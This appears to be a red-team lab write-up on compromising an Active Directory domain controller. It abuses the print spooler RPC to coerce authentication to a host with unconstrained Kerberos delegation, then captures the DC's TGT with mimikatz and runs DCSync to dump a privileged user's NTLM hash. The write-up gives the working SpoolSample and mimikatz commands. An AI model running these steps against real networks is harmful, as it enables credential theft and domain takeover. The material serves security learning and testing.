This lab demonstrates an attack on Active Directory Domain Controller (or any other host to be fair) that involves the following steps and environmental conditions:

• Attacker has to compromise a system that has an unrestricted kerberos delegation enabled.

• Attacker finds a victim that runs a print server. In this lab this happened to be a Domain Controller.

• Attacker coerces the DC to attempt authenticating to the attacker controlled host which has unrestricted kerberos delegation enabled.

  • This is done via RPC API RpcRemoteFindFirstPrinterChangeNotificationEx that allows print clients to subscribe to notifications of changes on the print server.

  • Once the API is called, the DC attempts to authenticate to the compromised host by revealing its TGT to the attacker controlled compromised system.

• Attacker extracts DC01's TGT from the compromised system and impersonates the DC to carry a DCSync attack and dump domain member hashes.

This lab builds on Domain Compromise via Unrestricted Kerberos Delegation​

Execution

Our environment for this lab is:

• ws01 - attacker compromised host with kerberos delegation enabled (attacker, server)

• dc01 - domain controller running a print service (victim, target)

We can check if a spool service is running on a remote host like so:

ls \\dc01\pipe\spoolss

If the spoolss was not running, we would receive an error.

Another way to check if the spoolss is running on a remote machine is:

Now, after compiling the amazing PoC SpoolSample by @tifkin_, we execute it with two arguments target and server (DC with spoolss running on it):

.\SpoolSample.exe dc01 ws01

We are shown a message that the target attemped authenticating to our compromised system, so let's check if we can retrieve DC01 TGT:

mimikatz # sekurlsa::tickets

We indeed got a TGT for DC01$ computer!

With this, we can make our compromised system ws01$ appear like a Domain Controller and extract an NTLM hash for the user offense\spotless which we know has high privileges in the domain:

mimikatz # lsadump::dcsync /domain:offense.local /user:spotless

The above clearly shows the attack was successful and an NTLM hash for the user spotless got retrieved - get cracking or passing it now.

Mitigation

For mitigations, see Domain Compromise via Unrestricted Kerberos Delegation mitigations section.

References